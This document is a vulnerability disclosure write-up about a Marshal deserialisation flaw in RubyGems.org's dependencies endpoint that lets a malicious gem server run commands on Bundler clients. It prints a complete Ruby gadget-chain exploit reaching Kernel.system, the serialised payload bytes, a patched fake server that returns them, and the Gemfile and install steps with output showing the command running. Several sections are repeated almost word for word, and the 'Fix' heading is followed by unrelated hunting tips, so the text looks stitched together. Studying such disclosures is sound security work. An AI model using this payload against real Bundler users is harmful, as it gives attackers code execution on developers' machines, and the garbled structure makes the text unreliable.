Bundler's RCE with response using Marshal
- Triaged in 5 hours
- Fixed in 2.9 years
- Disclosed after 3.0 years
In GET /api/v1/dependencies, which Bundler uses to check dependencies, the response is Marshal.dump instead of JSON.
respond_to do |format|
format.json { render json: deps }
format.marshal { render plain: Marshal.dump(deps) }
end
According to the Universal Deserialisation Gadget for Ruby 2.x-3.x article, Marshal.load can be RCE. Therefore, RCE is possible for the client that receives the specially crafted response.
Poc
Prepare attack code
Prepare code to run date
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
Prepare evil server
Prepare a server to work on the response. I created it based on geminabox.
# geminabox/geminabox/lib/geminabox/server.rb
get '/api/v1/dependencies' do
attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
query_gems.any? ? attack : 200
end
❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
* Min threads: 0
* Max threads: 5
* Environment: development
* PID: 22469
* Listening on http://127.0.0.1:9292
* Listening on http://[::1]:9292
Use evil sever
❯ bundle -v
Bundler version 2.2.13
❯ bundle init
# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true
# source "https://rubygems.org"
source "http://127.0.0.1:9292"
gem "json"
# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://127.0.0.1:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
Impact
Of course, there is a danger in specifying an untrusted source and in the possibility of a man-in-the-middle attack. This endpoint using marshal increases that risk.
Context
RubyGems.org exposes an API endpoint, GET /api/v1/dependencies, that Bundler (the Ruby dependency manager) calls to check gem dependencies. The report points out that this endpoint can answer in Marshal format: the response body is produced with Marshal.dump rather than JSON. Marshal is Ruby's native serialisation format, and loading Marshal data with Marshal.load can lead to remote code execution, as described in the referenced "Universal Deserialisation Gadget for Ruby 2.x-3.x" article. The consequence the researcher draws is that a client which receives a specially crafted response can be made to run code.
The affected code lives in the rubygems.org repository, in the dependencies controller:
respond_to do |format|
format.json { render json: deps }
format.marshal { render plain: Marshal.dump(deps) }
end
The controller offers two representations. The JSON branch returns the dependency data as JSON. The Marshal branch serialises the dependency data with Marshal.dump and sends it as plain text, so any client that negotiates the Marshal format and then deserialises the body is processing attacker-influenced bytes.
Setup
The demonstration uses Bundler 2.2.13 and a local server. The versions shown in the report are:
| Component | Version |
|---|---|
| Bundler | 2.2.13 |
| Puma | 5.2.2 |
| Ruby | 2.7.1-p83 |
The command chosen for demonstration is date.
Finding it
The starting observation is the format.marshal branch shown above: the endpoint does not only speak JSON, it can also return Marshal.dump(deps). Because Marshal.load on untrusted input can be turned into code execution (per the universal gadget article), a response crafted by whoever controls the server can execute code on the machine of the client that loads it. The researcher frames this as an RCE against the client receiving the response, not against the server.
Exploitation
Step 1: Build the attack payload
The researcher writes a Ruby script that assembles the gadget chain and dumps it with Marshal.dump. The script is reproduced exactly as in the report:
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
The important parts:
Gem::SpecFetcherandGem::Installerare referenced first so the classes are autoloaded and available to the gadget chain.Gem::Requirement#marshal_dumpis overridden to return only[@requirements]. The comment explains why: this prevents the payload from running while the researcher is still callingMarshal.dumpon it.- Two
Net::WriteAdapterobjects are created. The first,wa1, wrapsKernelwith the method:system. The second,wa2, wraps aGem::RequestSetwith:resolve. - A
Gem::RequestSetis allocated and its@setsis set towa1, while@git_setis set to the string"date", the command to run. - A
Gem::Package::TarReader::Entryis allocated with@readset to0and@headerset to"aaa". - A
Net::BufferedIOis allocated with@ioset to that entry and@debug_outputset towa2. - A
Gem::Package::TarReaderis allocated with@ioset to the buffered IO. - A
Gem::Requirementis allocated with@requirementsset to the tar reader. - The final payload is
Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]).
Running the script prints the serialised bytes:
❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
This string is the payload that the malicious server will return.
Step 2: Build the malicious server
The researcher prepares a server that answers the dependencies endpoint with the payload. It is based on geminabox, with the route patched as follows:
# geminabox/geminabox/lib/geminabox/server.rb
get '/api/v1/dependencies' do
attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
query_gems.any? ? attack : 200
end
The server is started with the proxy setting enabled:
❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
* Min threads: 0
* Max threads: 5
* Environment: development
* PID: 22469
* Listening on http://[redacted]:9292
* Listening on http://[::1]:9292
It listens on port 9292 on localhost.
Step 3: Point Bundler at the malicious server
The client side is a fresh Bundler project. The researcher checks the Bundler version, initialises a project, and edits the Gemfile so that the source is the malicious server instead of rubygems.org:
❯ bundle -v
Bundler version 2.2.13
❯ bundle init
# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true
# source "https://rubygems.org"
source "http://[redacted]:9292"
gem "json"
The original rubygems.org source line is commented out and replaced with http://[redacted]:9292. The project depends on the json gem.
Step 4: Trigger the deserialisation
Running bundle install makes Bundler fetch gem metadata from the configured source, which is the malicious server. The output shows the command executing on the client:
# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://[redacted]:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
The date output appears on the client, confirming code execution.
Root cause
The endpoint serialises data with Marshal.dump and offers it as a response format. Marshal is not a data-only format: loading it can instantiate arbitrary classes and invoke their methods, so a crafted document can drive a gadget chain to a dangerous sink. In this chain the sink is Kernel.system, reached through the Net::WriteAdapter and Gem::RequestSet objects, with the command string date supplied as @git_set. The client that deserialises the response is the one that runs the code.
Impact
A client that fetches dependency metadata from a server controlled by an attacker, and deserialises the Marshal response, runs the attacker's command. The report is explicit that this is RCE on the client receiving the response.
The researcher also states the conditions plainly: there is already a danger in specifying an untrusted source, and in the possibility of a man-in-the-middle attack. Using Marshal on this endpoint increases that risk. The report says this endpoint using Marshal increases that risk.
Fix
The report does not describe a fix or a change that was made. The report does not describe a fix.
- Other endpoints that offer a Marshal representation alongside JSON. A positive result is a response whose body begins with the Marshal version bytes (
\x04\x08) and contains class names, which a client will pass toMarshal.load. - Package manager metadata APIs in other ecosystems that return native serialised objects (for example, language-specific binary formats) rather than plain JSON. A positive result is a client that deserialises the body without integrity checks.
- Dependency resolution flows where the source URL is user-configurable, such as a
Gemfilesource line, a mirror setting or a proxy variable. A positive result is the client contacting the attacker's host and processing its response. - Man-in-the-middle positions against plain HTTP sources. A positive result is the client accepting a substituted response body and deserialising it.
This kind of bug tends to hide where a service offers more than one response format and one of them is a native serialisation format. During recon, look for content negotiation branches in controllers, respond_to blocks, Accept header handling and format suffixes, and for any use of Marshal.dump, Marshal.load, YAML.load or similar in the codebase. Client-side code that consumes such responses is equally important: the vulnerable deserialisation often happens in the tool, not the server.
The researcher showed impact by building the full chain end to end: a payload that runs date, a server that returns it from the real endpoint path, and a stock Bundler client pointed at that server, with the command output visible in the bundle install log. That demonstration ties the endpoint's Marshal branch directly to code execution on a client, which is what makes the risk concrete rather than theoretical.
What happened, in plain words
RubyGems.org is the main public hosting service for Ruby software packages, called gems. Developers do not download gems by hand; a tool called Bundler does it for them. Bundler reads a small file in the project (the Gemfile) that lists which gems the project needs, then talks to a server to find out what those gems depend on, downloads them and installs them.
To ask the server about dependencies, Bundler calls a specific web address: GET /api/v1/dependencies. An API is just a way for one program to talk to another over the web, the same way a web page is a way for a person to talk to a server. The address above is one of the server's doors, and Bundler knocks on it.
The endpoint's controller offers two response formats. One is JSON, a plain text format that only describes data: lists, names, numbers. The other is Marshal, Ruby's own way of turning live objects into bytes so they can be stored or sent. The problem is that reading Marshal bytes back (with a function called Marshal.load) does not just rebuild plain data. It can rebuild Ruby objects and run their methods, and with the right arrangement of objects that means running commands on the machine doing the reading.
So the danger is not on the RubyGems.org server. It is on the client: the computer running Bundler. If an attacker can control what the server sends back, the client can be made to execute the attacker's command. The researcher builds a fake gem server that returns a crafted Marshal response, then points Bundler at it and the command date runs on the client.
The vulnerable code
The affected code lives in the rubygems.org repository, in the controller that handles the dependencies endpoint:
respond_to do |format|
format.json { render json: deps }
format.marshal { render plain: Marshal.dump(deps) }
end
Line by line:
respond_to do |format|tells the web framework: look at what the client asked for, and pick one of the branches below. This is called content negotiation.format.json { render json: deps }is the harmless branch. If the client wants JSON, send the dependency data (deps) as JSON text.format.marshal { render plain: Marshal.dump(deps) }is the risky branch. If the client wants Marshal, take the dependency data, turn it into Marshal bytes withMarshal.dump, and send those bytes as plain text.
Marshal.dump is the writing side: it turns objects into bytes. Marshal.load is the reading side: it turns bytes back into objects. The concern is the reading side, which happens on the client.
Why this is dangerous
A linked article, "Universal Deserialisation Gadget for Ruby 2.x-3.x", describes how Marshal.load can lead to remote code execution (RCE), meaning an attacker gets their own commands run on someone else's machine. The word "gadget" here means a piece of existing code that, when reached in a particular order, does something useful to an attacker. A chain of gadgets is like a row of dominoes: each object triggers the next one, and the last one runs a command.
So the researcher's conclusion is simple: a client that receives a specially crafted response and loads it can be made to run code.
Setting up the demonstration
The researcher works locally with a Ruby toolchain and Bundler. The versions shown in the report are:
| Component | Version |
|---|---|
| Bundler | 2.2.13 |
| Puma | 5.2.2 |
| Ruby | 2.7.1-p83 |
Puma is a web server program for Ruby.
- Build a Marshal payload that runs a command when it is loaded.
- Serve that payload from a fake gem server that answers the dependencies endpoint.
- Point Bundler at that server so it fetches the response and loads it.
The command chosen for the demonstration is date.
Step 1: Build the attack payload
The researcher writes a Ruby script that assembles the gadget chain and dumps it with Marshal.dump. The script is reproduced exactly as in the report:
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
What each part does, in plain words:
Gem::SpecFetcherandGem::Installerare written on their own lines first. In Ruby, naming a class like this makes Ruby load it if it has not been loaded yet (this is called autoloading). The gadget chain needs these classes to exist, so they are touched first.- The
module Gem ... class Requirement ... def marshal_dumpblock overrides how aGem::Requirementobject is turned into Marshal bytes. The comment says why: without this, the payload would fire while the researcher is still building it, which would rundateon the researcher's own machine at the wrong moment. The override makes the dump step return only[@requirements], preventing the payload from running when it is dumped. wa1 = Net::WriteAdapter.new(Kernel, :system)creates an adapter object that, when it is asked to write, callssystemonKernel.Kernel.systemis Ruby's way of running a shell command. This is the final sink, the last domino that actually executes something.rs = Gem::RequestSet.allocatecreates an emptyGem::RequestSetobject without running its normal setup.instance_variable_set('@sets', wa1)stores the first adapter inside it, andinstance_variable_set('@git_set', "date")stores the command string. The comment# for rundate`` marks that this is the command that will run.wa2 = Net::WriteAdapter.new(rs, :resolve)creates a second adapter that, when written to, callsresolveon the request set. This is the middle domino: it leads into the request set, which leads intowa1, which leads intosystem.i = Gem::Package::TarReader::Entry.allocatecreates an empty tar-reader entry, with@readset to0and@headerset to"aaa".n = Net::BufferedIO.allocatecreates a buffered IO object, with@iopointing at the entry and@debug_outputpointing atwa2.t = Gem::Package::TarReader.allocatecreates a tar reader whose@iois the buffered IO.r = Gem::Requirement.allocatecreates a requirement object whose@requirementsis the tar reader. This is the object that will be placed in the payload.payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])serialises an array of three things: the two class references and the requirement object.puts payload.inspectprints the bytes in a readable escaped form.
Running the script prints the serialised bytes:
❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
This string is the payload that the malicious server will return.
Step 2: Build the malicious server
The researcher prepares a server that answers the dependencies endpoint with the payload. It is based on geminabox, with the route patched as follows:
# geminabox/geminabox/lib/geminabox/server.rb
get '/api/v1/dependencies' do
attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
query_gems.any? ? attack : 200
end
Line by line:
get '/api/v1/dependencies' doregisters a handler for the same path the real RubyGems.org uses. When a client asks for that path, this code runs instead of the normal gem server logic.attack = "..."stores the payload bytes from step 1 in a variable. The escaped form is the same string that the script printed.query_gems.any? ? attack : 200is a one-line decision. If the request carries gem query parameters (query_gems.any?is true), return the attack string. Otherwise return the number200, which in web terms means "OK" with an empty body.
The server is started with the proxy setting enabled:
❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
* Min threads: 0
* Max threads: 5
* Environment: development
* PID: 22469
* Listening on http://[redacted]:9292
* Listening on http://[::1]:9292
rackup is the command that starts a Ruby web application. RUBYGEMS_PROXY=true is an environment variable passed to the program when it starts. The output says Puma is listening on port 9292 on localhost, which is the same machine. [redacted] is the address a computer uses to refer to itself.
Step 3: Point Bundler at the malicious server
The client side is a fresh Bundler project. The researcher checks the Bundler version, initialises a project, and edits the Gemfile so that the source is the malicious server instead of rubygems.org:
❯ bundle -v
Bundler version 2.2.13
❯ bundle init
# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true
# source "https://rubygems.org"
source "http://[redacted]:9292"
gem "json"
Line by line:
bundle -vprints the Bundler version, confirming it is 2.2.13.bundle initcreates a starterGemfilein the current folder.cat Gemfileprints the file so the reader can see the edit. The original rubygems.org source line is commented out with a leading#, and a new line points the source athttp://[redacted]:9292, the fake server. The project depends on thejsongem.
Step 4: Trigger the deserialisation
Running bundle install makes Bundler fetch gem metadata from the configured source, which is now the malicious server. The output shows the command executing on the client:
# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://[redacted]:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST
Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST
What the output shows:
Fetching gem metadata from http://[redacted]:9292/is Bundler contacting the fake server, exactly as it would contact rubygems.org.- The date lines (
2021年 3月 7日 日曜日 15時44分43秒 JST) are the output ofdate, printed on the client. That is the proof: the command ran on the machine running Bundler, not on the server. Bundler::MarshalError TypeError: no implicit conversion of nil into Stringis Bundler's own error while processing the response.
Root cause
The endpoint serialises data with Marshal.dump and offers it as a response format. Marshal is not a data-only format: loading it can create arbitrary objects and call their methods, so a crafted document can drive a gadget chain to a dangerous sink. In this chain the sink is Kernel.system, reached through the Net::WriteAdapter and Gem::RequestSet objects, with the command string date supplied as @git_set. The client that loads the response is the one that runs the code.
Impact
A client that fetches dependency metadata from a server controlled by an attacker, and loads the Marshal response, runs the attacker's command. The report is explicit that this is RCE on the client receiving the response.
The researcher also states the conditions plainly: there is already a danger in specifying an untrusted source, and in the possibility of a man-in-the-middle attack. A man-in-the-middle is someone sitting between the client and the server, able to read or change the traffic. Using Marshal on this endpoint increases that risk. The report says this endpoint using Marshal increases that risk.
Fix
The report does not describe a fix or a change that was made. The report does not describe a fix.
- Other endpoints that offer a Marshal representation alongside JSON. A positive result is a response whose body begins with the Marshal version bytes (
\x04\x08) and contains class names, which a client will pass toMarshal.load. - Package manager metadata APIs in other ecosystems that return native serialised objects (for example, language-specific binary formats) rather than plain JSON. A positive result is a client that loads the body without integrity checks.
- Dependency resolution flows where the source URL is user-configurable, such as a
Gemfilesource line, a mirror setting or a proxy variable. A positive result is the client contacting the attacker's host and processing its response. - Man-in-the-middle positions against plain HTTP sources. A positive result is the client accepting a substituted response body and loading it.
This kind of bug tends to hide where a service offers more than one response format and one of them is a native serialisation format. During recon, look for content negotiation branches in controllers, respond_to blocks, Accept header handling and format suffixes, and for any use of Marshal.dump, Marshal.load, YAML.load or similar in the codebase. Client-side code that consumes such responses is equally important: the vulnerable deserialisation often happens in the tool, not the server.
The researcher showed impact by building the full chain end to end: a payload that runs date, a server that returns it from the real endpoint path, and a stock Bundler client pointed at that server, with the command output visible in the bundle install log. That demonstration ties the endpoint's Marshal branch directly to code execution on a client, which is what makes the risk concrete rather than theoretical.
Glossary
- API: a defined way for one program to talk to another over a network, usually a set of web addresses and the data formats they accept and return.
- Bundler: the Ruby tool that reads a project's
Gemfile, works out which gems are needed, and downloads and installs them. - Client: the program or machine that sends a request and receives a response; here, the computer running Bundler.
- Content negotiation: the process where a client says which format it wants and the server picks a matching branch.
- Controller: the part of a web application that receives a request and decides what to send back.
- Deserialisation: turning stored or transmitted bytes back into live objects or data structures.
- Endpoint: a specific web address on a server that a client can call.
- Environment variable: a named setting passed to a program when it starts, outside its own code.
- Gadget chain: a sequence of existing code objects that, triggered in order, leads to a dangerous action such as running a command.
- Gem: a packaged piece of Ruby software that can be downloaded and installed.
- Gemfile: the file in a Ruby project that lists the gems the project needs and where to fetch them from.
- geminabox: a small Ruby program that acts as a gem server.
- JSON: a plain text format for data only (lists, names, numbers) that cannot run code when read.
- localhost: the name a computer uses for itself;
[redacted]is its numeric address. - Man-in-the-middle: an attacker positioned between a client and a server who can read or alter the traffic.
- Marshal: Ruby's built-in format for turning objects into bytes and back; loading it can create objects and call their methods.
Marshal.dump: the function that turns Ruby objects into Marshal bytes.Marshal.load: the function that turns Marshal bytes back into Ruby objects, and the step that can run code.- Payload: the crafted data an attacker sends to trigger a vulnerability.
- Puma: a web server program for Ruby applications.
- RCE (remote code execution): a vulnerability that lets an attacker run their own commands on someone else's machine.
- Recon: the information-gathering phase before testing, where you look for interesting code and behaviour.
- Serialisation: turning live objects or data into a storable or transmittable form.
- Sink: the final dangerous operation in a chain, such as running a shell command.
- Source: in a
Gemfile, the server address Bundler fetches gems and metadata from. Kernel.system: Ruby's function for running a shell command.respond_to: a Ruby web framework construct that picks a response branch based on the format the client asked for.